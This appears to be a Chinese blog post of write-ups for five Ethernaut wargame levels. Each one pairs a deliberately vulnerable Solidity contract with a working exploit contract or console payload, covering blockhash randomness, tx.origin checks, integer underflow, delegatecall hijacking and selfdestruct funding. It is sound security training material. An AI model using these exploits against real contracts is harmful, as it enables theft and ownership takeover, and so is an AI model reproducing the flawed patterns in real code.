0%

区块链学习之壹

区块链学习之壹

ethernaut - Coin Flip

投币咯,我最喜欢的;

source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

constructor() {
consecutiveWins = 0;
}

function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));

if (lastHash == blockValue) {
revert();
}

lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;

if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}

题解

随机的核心在于 blockhash(block.number - 1)

攻击原理是,如果在攻击合约中调用目标合约,就可以让两次调用在一个 block ,从而两次伪随机的结果相同;

注意lastHash == blockValue是不允许的,这事实上限制了不能连续在同一 block 内调用flip

解决方案是运行十次 exp ,而不是在 exp 中调用十次flip

source of exp contract

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.8.2 <0.9.0;

/**
* @title Storage
* @dev Store & retrieve value in a variable
* @custom:dev-run-script ./scripts/deploy_with_ethers.ts
*/

// interface for instancing the problem contract
interface CoinFlip {
function flip(bool _guess) external returns (bool) ;
}

// accacking contract
contract Storage {
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
address instance = 0xb9A0C84D1C4a44322a141b401b95a69dCE386dC4;
uint256 lastHash;
CoinFlip con;

function exp() public{
uint256 blockValue = uint256(blockhash(block.number - 1));

if (lastHash == blockValue) {
revert();
}

// calculate which side
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;

// call con.flip
con = CoinFlip(instance);
con.flip(side);
}

部署合约,调十次 exp 即可;

使用 Remix - Injected Provider 编写 attacking contract

一,写代码到contracts/xxx.sol,开启自动编译;

二,选择环境 Injected Provider,选择要部署的合约;

三,部署;

四,调用exp函数;

这样就完成了一个简单 attacking contract 的部署到调用;

ethernaut - Telephone

source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {
address public owner;

constructor() {
owner = msg.sender;
}

function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}

difference between msg.sender&tx.origin

很直观了,msg.sender是功能的调用者,tx.origin调用功能的账户;

题解

只需要用一个非player的合约调用instance即可;

exp source

1
2
3
4
5
6
7
8
9
10
11
12
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;

interface Telephone {
function changeOwner(address _owner) external ;
}
contract Attack {
function exp() public {
Telephone t = Telephone(0x7433a6f73fA68a0ED229e4164F4D6503ffF0a489);
t.changeOwner(tx.origin);
}
}

ethernaut - Token

description

1
2
3
4
5
6
7
//The goal of this level is for you to hack the basic token contract below.

//You are given 20 tokens to start with and you will beat the level if you somehow manage to get your hands on any additional tokens. Preferably a very large amount of tokens.

// Things that might help:

//What is an odometer?

要求把自己余额弄成一个很大的数;

source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {
mapping(address => uint256) balances;
uint256 public totalSupply;

constructor(uint256 _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}

function transfer(address _to, uint256 _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}

function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}

What is an odometer?

说实话没懂这个hint;

uint overflow

transfer 表面上限制了余额不能为负数:require(balances[msg.sender] - _value >= 0)

但是balances的键值实际上是uint256,查阅 solidity 官方文档 得知两点:

  1. “Solidity中的整数是有取值范围的。 例如 uint32 类型的取值范围是 02 ** 32-1 。 0.8.0 开始,算术运算有两个计算模式:一个是 “wrapping”(截断)模式或称 “unchecked”(不检查)模式,一个是”checked” (检查)模式。 默认情况下,算术运算在 “checked” 模式下,即都会进行溢出检查,如果结果落在取值范围之外,调用会通过 失败异常 回退。 你也可以通过 unchecked { ... } 切换到 “unchecked”模式,更多可参考 unchecked .”
  2. 在 0.8.0 以前的版本(这里是 0.7.5)有这样的描述:“加法,减法和乘法具有通常的语义,值用两进制补码表示,意思是比如:uint256(0) - uint256(1)== 2 ** 256 - 1 。 我们在设计和编写智能合约时必须考虑到溢出问题。”

题目环境为 0.6.0 ,溢出问题存在,要搞大数字直接溢出即可;

题解

payload

1
await contract.transfer(instance,21)

ethernaut - Delegation

description

1
2
3
4
5
6
7
// The goal of this level is for you to claim ownership of the instance you are given.

// Things that might help

// Look into Solidity's documentation on the delegatecall low level function, how it works, how it can be used to delegate operations to on-chain libraries, and what implications it has on execution scope.
// Fallback methods
// Method ids

source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Delegate {
address public owner;

constructor(address _owner) {
owner = _owner;
}

function pwn() public {
owner = msg.sender;
}
}

contract Delegation {
address public owner;
Delegate delegate;

constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}

fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}

部署的是Delegation,其回调函数的作用是进行一次delegatecall, 在Delegate中调用目标函数;

直接尝试调用pwn()即可;

而且这里涉及到delegatecall的特点,不改变交易属性,也就是msg.sender仍然是player自己;

发起一个交易,将签名data改为pwn()keccak256值的前四字节;

傻逼 js slice的时候把sha3的结果看作字符串,因此取前四字节要取前十位,因为有"0x"

题解

1
await contract.sendTransaction({data:web3.utils.sha3("pwn()").slice(0,10)});

注:solidity 的keccak256就是sha3

ethernaut - Force

description

1
2
3
4
5
6
7
8
9
// Some contracts will simply not take your money ¯\_(ツ)_/¯

// The goal of this level is to make the balance of the contract greater than zero.

// Things that might help:

// Fallback methods
// Sometimes the best way to attack a contract is with another contract.
// See the "?" page above, section "Beyond the console"

source

1
2
3
4
5
6
7
8
9
10
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force { /*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/ }

给空合约发钱的问题,没有receive()也没有callback()

查阅官方文档:

1
// 一个没有receive函数的合约,可以作为 coinbase 交易 (又名 矿工区块回报 )的接收者或者作为 selfdestruct 的目标来接收以太币。

结合提示,尝试构建一个有receive()selfdestruct()的合约,然后销毁之。

题解

exp source (GPT)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Attack {
address payable target;

// 在部署时设置目标合约的地址
constructor(address payable _target) {
target = _target;
}

// 允许该合约接收以太币
receive() external payable {}

// 自毁合约并发送所有以太币到目标合约
function destroy() external payable {
selfdestruct(target);
}
}

部署之后向目标合约转账;

然后调用destroy()getBalance()后发现instant已经有余额;

通!

你好

好你;

想起来小学有个大胖子,别人招惹他之后,他的口头禅是:

”好你个……“

小秦加油努力!